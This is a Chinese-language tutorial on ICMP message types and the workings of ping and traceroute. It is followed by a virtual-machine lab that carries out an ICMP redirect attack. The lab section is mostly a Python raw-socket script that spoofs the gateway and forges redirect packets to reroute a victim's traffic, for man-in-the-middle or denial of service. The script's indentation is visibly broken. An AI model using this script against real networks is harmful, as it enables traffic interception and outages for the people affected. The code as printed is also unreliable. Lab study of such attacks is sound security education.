ICMP报文的各种状态

ICMP报文大致可分为两类:差错报文、查询报文,具体消息类型如下:

ICMP的差错报文

当发送一份差错报文时,报文始终包含 IP 的首部和产生 ICMP 差错报文的 IP 数据报的前 8 位字节。这样,接收 ICMP 差错报文的模块就会把它与某个特定的协议(根据 IP 数据报首部中的协议字段来判断)和用户进程(根据包含在 IP 数据报前 8 个字节中的 TCP 或 UDP 报文首部中的 TCP 或 UDP 端口号来判断)联系起来。
下面各种情况不会导致产生 ICMP 差错报文:

  • ICMP 报文差错(ICMP查询报文可能会产生ICMP差错报文);
  • 目的地址是广播地址或多播地址的 IP 数据报;
  • 作为链路层广播的数据报;
  • 不是 IP 分片的第一片;
  • 源地址不是单个主机的数据报,也就是说,源地址不可能是零地址、环回地址、广播地址或多播地址;

以下针对 ICMP 差错报文的类型进行分析:

  • ICMP 目标不可达消息:IP 路由器无法将 IP 数据报发送给目的地址时,会给发送端主机返回一个目标不可达 ICMP 消息,并在这个消息中显示不可达的具体原因。
  • ICMP 重定向消息:如果路由器发现发送端主机使用次优的路径发送数据时,那么它会返回一个 ICMP 重定向消息给这个主机,这个消息包含了最合适的路由信息和源数据。主要发生在路由器持有更好的路由信息的情况下,路由器会通过这个 ICMP 重定向消息给发送端主机一个更合适的发送路由。
  • ICMP 超时消息:IP 数据包中有一个字段 TTL(Time to live,生存周期),它的值随着每经过一个路由器就会减 1,直到减到 0 时该 IP 数据包被丢弃。此时,IP 路由器将发送一个 ICMP 超时消息给发送端主机,并通知该包已被丢弃。
  • 源抑制消息:当 TCP/IP 主机发送数据到另一主机时,如果速度达到路由器或者链路的饱和状态,路由器发出一个 ICMP 源抑制消息。

ICMP查询报文

  • ICMP 回送消息:用于进行通信的主机或路由之间,判断发送数据包是否成功到达对端的消息。可以向对端主机发送回送请求消息,也可以接收对端主机回来的回送应答消息。
  • ICMP 地址掩码消息:主要用于主机或路由想要了解子网掩码的情况。可以向那些主机或路由器发送 ICMP 地址掩码请求消息,然后通过接收 ICMP 地址掩码应答消息获取子网掩码信息。
  • ICMP 时间戳消息:可以向那些主机或路由器发送 ICMP 时间戳请求消息,然后通过接收 ICMP 时间戳应答消息获取时间信息。

ping命令原理

Ping 程序利用 ICMP 回显请求报文和回显应答报文(而不用经过传输层)来测试目标主机是否可达。它是一个检查系统连接性的基本诊断工具。
ICMP 回显请求和 ICMP 回显应答报文是配合工作的。当源主机向目标主机发送了 ICMP 回显请求数据包后,它期待着目标主机的回答。目标主机在收到一个 ICMP 回显请求数据包后,它会交换源、目的主机的地址,然后将收到的 ICMP 回显请求数据包中的数据部分原封不动地封装在自己的 ICMP 回显应答数据包中,然后发回给发送 ICMP 回显请求的一方。如果校验正确,发送者便认为目标主机的回显服务正常,也即物理连接畅通。

traceroute命令原理

Traceroute 程序主要用来侦测源主机到目的主机之间所经过的路由的情况。
Traceroute 使用 ICMP 报文和 IP 首部中的 TTL 字段,它充分利用了 ICMP 超时消息。其原理很简单,开始时发送一个 TTL 字段为 1 的 UDP 数据报,而后每次收到 ICMP 超时萧后,按顺序再发送一个 TTL 字段加 1 的 UDP 数据报,以确定路径中的每个路由器,而每个路由器在丢弃 UDP 数据报时都会返回一个 ICMP 超时报文,而最终到达目的主机后,由于 ICM P选择了一个不可能的值作为 UDP 端口(大于30000)。这样目的主机就会发送一个端口不可达的 ICMP 差错报文。

实验背景

ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。
在VMware虚拟环境中(Virtual Box不同)(...2)是充当网关的默认地址(通过route命令可以查看当前的网关和路由信息);所以攻击者可以冒充(...2)发出重定向包,通知受害者修改自己的网关为攻击者指定的gw地址;如果伪造的gw是自身,可以实现中间人攻击或者DOS攻击(没有启动IP转发功能);如果是随意IP(不能到达或不负责转发),则可以导致DOS攻击。

  • 清除路由缓存:ip route flush cache
  • 查看路由缓存:route -n

实验环境

启动两台虚拟机,一台作为攻击者,一台作为被攻击者。

攻击代码

import socket
import struct
import threading
import time
import sys
import random
import pcap
import dpkt
import pcapy


vic_ip = "192.168.220.130" #受害者IP
gateway_ip = "192.168.220.2" #网关IP
attack_ip = "192.168.220.136"#攻击者IP

class ICMP(object):
    def __init__(self, gateway):
        self.type = 5 #类型:重定向包
        self.code = 1
        self.checksum = 0
        self.gateway = socket.inet_aton(gateway)
    def pack(self,data=''):
        icmp_header = struct.pack("!BBH4s",
                      self.type,
                      self.code,
                      self.checksum,
                      self.gateway)
        self.checksum = checksum(icmp_header+data)
        icmp_header = struct.pack("!BBH4s",
                      self.type,
                      self.code,
                      socket.htons(self.checksum),
                      self.gateway)
        return icmp_header
	
class IP(object):
    def __init__(self, source, destination, payload='', proto=socket.IPPROTO_ICMP):
        self.version = 4
        self.ihl = 5 # Internet Header Length
        self.tos = 0 # Type of Service
        self.tl = 20+len(payload)
        self.id = 0#random.randint(0, 65535)
        self.flags = 0 # Don't fragment
        self.offset = 0
        self.ttl = 255
        self.protocol = proto
        self.checksum = 2 # will be filled by kernel
        self.source = socket.inet_aton(source)
        self.destination = socket.inet_aton(destination)
    def pack(self):
        ver_ihl = (self.version << 4) + self.ihl
        flags_offset = (self.flags << 13) + self.offset
        ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    self.tos,
                    self.tl,
                    self.id,
                    flags_offset,
                    self.ttl,
                    self.protocol,
                    self.checksum,
                    self.source,
                    self.destination)
        self.checksum = checksum(ip_header)
        ip_header = struct.pack("!BBHHHBBH4s4s",
                    ver_ihl,
                    self.tos,
                    self.tl,
                    self.id,
                    flags_offset,
                    self.ttl,
                    self.protocol,
                    socket.htons(self.checksum),
                    self.source,
                    self.destination)  
        return ip_header
					

def checksum(data):#计算校验和
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[i+1])
    while (s >> 16):
        print("s >> 16: ", s >> 16)
        s = (s & 0xFFFF) + (s >> 16)
    print("sum:", s)
    s = ~s & 0xffff
    return s		

if __name__=='__main__':
    s = socket.socket(socket.AF_INET,socket.SOCK_RAW,255)
    s.setsockopt(0,socket.IP_HDRINCL,1)

    ip_packet = IP(gateway_ip,vic_ip)
    ip_packet = ip_packet.pack()
    icmp_packet = ICMP(attack_ip)
    icmp_packet = icmp_packet.pack()
	
    ip_packet = IP(gateway_ip,vic_ip)
    ip_packet = ip_packet.pack()
    	    
    while True:
		try:
            a = pcap.pcap()#抓取受害者的IP包
            for ptime,pdata in a:
                p = dpkt.ethernet.Ethernet(pdata)
	        	src_ip = socket.inet_ntoa(p.data.src)	
                if src_ip == vic_ip:
                   print 'find'
                   data = pdata[14:42]#会带有 14Bytes的 Ethenet_II Frame的头,然后是20个字节的ip包头,而udp包头有8个字节
	            icmp_packet = ICMP(attack_ip)
	            icmp_packet = icmp_packet.pack(data)
    	        send_packet = ip_packet + icmp_packet + data
				#ip报头+icmp报头+截取的受害者的数据(ip报头+8个字节数据)
	            s.sendto(send_packet,(vic_ip,233))
    	except Exception,e:
            print Exception,":",e

实验效果

可以看到已经攻击成功了。